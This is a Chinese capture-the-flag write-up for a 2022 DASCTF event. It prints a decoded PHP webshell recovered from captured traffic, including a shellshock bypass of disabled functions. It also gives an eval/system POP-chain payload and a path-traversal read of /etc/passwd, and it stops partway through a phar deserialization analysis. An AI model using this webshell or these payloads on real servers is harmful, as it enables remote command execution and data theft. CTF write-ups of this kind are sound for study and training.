2022DASCTF Apr X FATE 防疫挑战赛 WriteUP

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文章目录

Misc

SimpleFlow

看流量大概是上传了一个后门，但是会对payload加密，这里发现有flag.txt被打包

后面的包里面发现flag.zip

但是打开需要密码，那么我们就要回去压缩的地方，看看给的什么密码，所以我们就得解开这个流量

@eval(@base64_decode($_POST['m8f8d9db647ecd']));
&e57fb9c067c677=o3
&g479cf6f058cf8=1DY2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0Ijt6aXAgLVAgUGFTc1ppUFdvckQgZmxhZy56aXAgLi4vZmxhZy50eHQ7ZWNobyBbU107cHdkO2VjaG8gW0Vd
&m8f8d9db647ecd=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiYjYzYmEiLiI3ZGZhMjAiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjgwZSIuIjExYSI7fW9iX3N0YXJ0KCk7dHJ5eyRwPWJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsibzFmYWViZDRlYzNkOTciXSwyKSk7JHM9YmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJnNDc5Y2Y2ZjA1OGNmOCJdLDIpKTskZW52c3RyPUBiYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbImU1N2ZiOWMwNjdjNjc3Il0sMikpOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjtpZihzdWJzdHIoJGQsMCwxKT09Ii8iKXtAcHV0ZW52KCJQQVRIPSIuZ2V0ZW52KCJQQVRIIikuIjovdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iKTt9ZWxzZXtAcHV0ZW52KCJQQVRIPSIuZ2V0ZW52KCJQQVRIIikuIjtDOi9XaW5kb3dzL3N5c3RlbTMyO0M6L1dpbmRvd3MvU3lzV09XNjQ7QzovV2luZG93cztDOi9XaW5kb3dzL1N5c3RlbTMyL1dpbmRvd3NQb3dlclNoZWxsL3YxLjAvOyIpO31pZighZW1wdHkoJGVudnN0cikpeyRlbnZhcnI9ZXhwbG9kZSgifHx8YXNsaW5lfHx8IiwgJGVudnN0cik7Zm9yZWFjaCgkZW52YXJyIGFzICR2KSB7aWYgKCFlbXB0eSgkdikpIHtAcHV0ZW52KHN0cl9yZXBsYWNlKCJ8fHxhc2tleXx8fCIsICI9IiwgJHYpKTt9fX0kcj0ieyRwfSB7JGN9IjtmdW5jdGlvbiBmZSgkZil7JGQ9ZXhwbG9kZSgiLCIsQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIikpO2lmKGVtcHR5KCRkKSl7JGQ9YXJyYXkoKTt9ZWxzZXskZD1hcnJheV9tYXAoJ3RyaW0nLGFycmF5X21hcCgnc3RydG9sb3dlcicsJGQpKTt9cmV0dXJuKGZ1bmN0aW9uX2V4aXN0cygkZikmJmlzX2NhbGxhYmxlKCRmKSYmIWluX2FycmF5KCRmLCRkKSk7fTtmdW5jdGlvbiBydW5zaGVsbHNob2NrKCRkLCAkYykge2lmIChzdWJzdHIoJGQsIDAsIDEpID09ICIvIiAmJiBmZSgncHV0ZW52JykgJiYgKGZlKCdlcnJvcl9sb2cnKSB8fCBmZSgnbWFpbCcpKSkge2lmIChzdHJzdHIocmVhZGxpbmsoIi9iaW4vc2giKSwgImJhc2giKSAhPSBGQUxTRSkgeyR0bXAgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ2FzJyk7cHV0ZW52KCJQSFBfTE9MPSgpIHsgeDsgfTsgJGMgPiR0bXAgMj4mMSIpO2lmIChmZSgnZXJyb3JfbG9nJykpIHtlcnJvcl9sb2coImEiLCAxKTt9IGVsc2Uge21haWwoImFAMTI3LjAuMC4xIiwgIiIsICIiLCAiLWJ2Iik7fX0gZWxzZSB7cmV0dXJuIEZhbHNlO30kb3V0cHV0ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0bXApO0B1bmxpbmsoJHRtcCk7aWYgKCRvdXRwdXQgIT0gIiIpIHtwcmludCgkb3V0cHV0KTtyZXR1cm4gVHJ1ZTt9fXJldHVybiBGYWxzZTt9O2Z1bmN0aW9uIHJ1bmNtZCgkYyl7JHJldD0wOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZihmZSgnc3lzdGVtJykpe0BzeXN0ZW0oJGMsJHJldCk7fWVsc2VpZihmZSgncGFzc3RocnUnKSl7QHBhc3N0aHJ1KCRjLCRyZXQpO31lbHNlaWYoZmUoJ3NoZWxsX2V4ZWMnKSl7cHJpbnQoQHNoZWxsX2V4ZWMoJGMpKTt9ZWxzZWlmKGZlKCdleGVjJykpe0BleGVjKCRjLCRvLCRyZXQpO3ByaW50KGpvaW4oIgoiLCRvKSk7fWVsc2VpZihmZSgncG9wZW4nKSl7JGZwPUBwb3BlbigkYywncicpO3doaWxlKCFAZmVvZigkZnApKXtwcmludChAZmdldHMoJGZwLDIwNDgpKTt9QHBjbG9zZSgkZnApO31lbHNlaWYoZmUoJ3Byb2Nfb3BlbicpKXskcCA9IEBwcm9jX29wZW4oJGMsIGFycmF5KDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLCAyID0+IGFycmF5KCdwaXBlJywgJ3cnKSksICRpbyk7d2hpbGUoIUBmZW9mKCRpb1sxXSkpe3ByaW50KEBmZ2V0cygkaW9bMV0sMjA0OCkpO313aGlsZSghQGZlb2YoJGlvWzJdKSl7cHJpbnQoQGZnZXRzKCRpb1syXSwyMDQ4KSk7fUBmY2xvc2UoJGlvWzFdKTtAZmNsb3NlKCRpb1syXSk7QHByb2NfY2xvc2UoJHApO31lbHNlaWYoZmUoJ2FudHN5c3RlbScpKXtAYW50c3lzdGVtKCRjKTt9ZWxzZWlmKHJ1bnNoZWxsc2hvY2soJGQsICRjKSkge3JldHVybiAkcmV0O31lbHNlaWYoc3Vic3RyKCRkLDAsMSkhPSIvIiAmJiBAY2xhc3NfZXhpc3RzKCJDT00iKSl7JHc9bmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOyRlPSR3LT5leGVjKCRjKTskc289JGUtPlN0ZE91dCgpOyRyZXQuPSRzby0+UmVhZEFsbCgpOyRzZT0kZS0+U3RkRXJyKCk7JHJldC49JHNlLT5SZWFkQWxsKCk7cHJpbnQoJHJldCk7fWVsc2V7JHJldCA9IDEyNzt9cmV0dXJuICRyZXQ7fTskcmV0PUBydW5jbWQoJHIuIiAyPiYxIik7cHJpbnQgKCRyZXQhPTApPyJyZXQ9eyRyZXR9IjoiIjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw==
&o1faebd4ec3d97=WaL2Jpbi9zaA==

这个很长的解开是就是加密的木马

<?php @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out)return $out;;function asoutput()$output=ob_get_contents();ob_end_clean();echo "b63ba"."7dfa20";echo @asenc($output);echo "80e"."11a";ob_start();try$p=base64_decode(substr($_POST["o1faebd4ec3d97"],2));$s=base64_decode(substr($_POST["g479cf6f058cf8"],2));$envstr=@base64_decode(substr($_POST["e57fb9c067c677"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"$s\\"":"/c \\"$s\\"";if(substr($d,0,1)=="/")@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");else@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");if(!empty($envstr))$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) if (!empty($v)) @putenv(str_replace("|||askey|||", "=", $v));$r="$p $c";function fe($f)$d=explode(",",@ini_get("disable_functions"));if(empty($d))$d=array();else$d=array_map('trim',array_map('strtolower',$d));return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));;function runshellshock($d, $c) if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) if (strstr(readlink("/bin/sh"), "bash") != FALSE) $tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=()  x; ; $c >$tmp 2>&1");if (fe('error_log')) error_log("a", 1); else mail("a@127.0.0.1", "", "", "-bv"); else return False;$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") print($output);return True;return False;;function runcmd($c)$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system'))@system($c,$ret);elseif(fe('passthru'))@passthru($c,$ret);elseif(fe('shell_exec'))print(@shell_exec($c));elseif(fe('exec'))@exec($c,$o,$ret);print(join("
",$o));elseif(fe('popen'))$fp=@popen($c,'r');while(!@feof($fp))print(@fgets($fp,2048));@pclose($fp);elseif(fe('proc_open'))$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1]))print(@fgets($io[1],2048));while(!@feof($io[2]))print(@fgets($io[2],2048));@fclose($io[1]);@fclose($io[2]);@proc_close($p);elseif(fe('antsystem'))@antsystem($c);elseif(runshellshock($d, $c)) return $ret;elseif(substr($d,0,1)!="/" && @class_exists("COM"))$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);else$ret = 127;return $ret;;$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret=$ret":"";;catch(Exception $e)echo "ERROR://".$e->getMessage();;asoutput();die();

这里进行一个审计，发现执行的命令是$c，所以我们在后面加一个echo弄出来就可以了

成功拿到密码PaSsZiPWorD

解开压缩包就是flag

Web

warmup-php

在构造函数里面，会调用一个run方法

$object->run();

有run方法的只有listview

public function run()

    echo "<".$this->tagName.">\\n";
    $this->renderContent();
    echo "<".$this->tagName.">\\n";

执行命令的地方在Base的evaluateExpression里面，这里最底层的类是TestView，所以我们从这里分析

这里的renderTableRow方法里面会进入evaluateExpression，而renderTableRow可以从renderTableBody进入

再回头来看run方法，调用run方法以后进入renderContent，这里会进入renderSection，这里会进行一拼接

所以我们可以利用这个进入renderTableBody，这样利用链就出来了

Action->run()->renderContent()->renderSection()->renderTableBody()->renderTableRow()->evaluateExpression()

那么就看看怎么传参，首先是action，是最底层的类TestView，然后看properties，这里会循环为对象属性赋值

highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action

    public function __construct($action,$properties)

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    


new Action($action,$properties);

我们进入TestView去看看，首先看执行的命令，是rowhtmlOptionsExpression属性

所以赋值为eval($_POST[1])，还需要有一个参数data，这个并不影响，所以我们可以随便附一个值

再往回走到ListView里面，这里是执行了一个无参的方法，我们前面分析的是从renderTableBody进去renderTableRow，所以这里我们需要以数组的形式拼接一个TableBody

那么传参为properties[template]=TableBody

最后的payload

get

?action=TestView

post

1=system('whoami');&properties[data]=ph&properties[rowHtmlOptionsExpression]=eval($_POST[1])&properties[template]=TableBody

在/readflag拿到flag

soeasy_php

发现有个editor.php

使用下面的payload可以任意文件读取

png=../../../../../../etc/passwd&flag=1

读一下源码

upload.php

<?php
if (!isset($_FILES['file'])) 
    die("请上传头像");


$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path))
    echo "上传成功： ".$path;
;

editor.php

<?php
class flag
    public function copyflag()
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt，并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    
    public function __destruct()
        $this->copyflag();
    



function filewrite($file,$data)
        unlink($file);
        file_put_contents($file, $data);



if(isset($_POST['png']))
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\\/\\/|php/im",$filename))
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag") !== false)
            filewrite($filename,"Don't give me flag!!!");
        
    

    if(isset($_POST['flag'])) 
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") 
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
         else 
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) 
            echo "成功更换头像";
         else 
            unlink($filename);
            echo "非正常文件，已被删除";
        ;

发现新大陆，这里大概的逻辑是这样，有一个类flag，在下面是把post[png]的值创建一个软链到uploads/head.png，这里用了unlink，又有class，而且涉及到文件操作，基本锁定是phar反序列化了，而unlink可以触发phar反序列化

这里的flag类里面执行了这样的文件

以root权限复制/flag 到 /tmp/flag.txt

但是这里会把post[flag]写进/tmp/flag.txt，这里就有矛盾了

2022DASCTF Apr X FATE 防疫挑战赛 WriteUP

2022DASCTF Apr X FATE 防疫挑战赛 WriteUP

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DASCTF X CBCTF 2022九月挑战赛 Writeup

DASCTF X CBCTF 2022九月挑战赛 Writeup

DASCTF X CBCTF 2022九月挑战赛 Writeup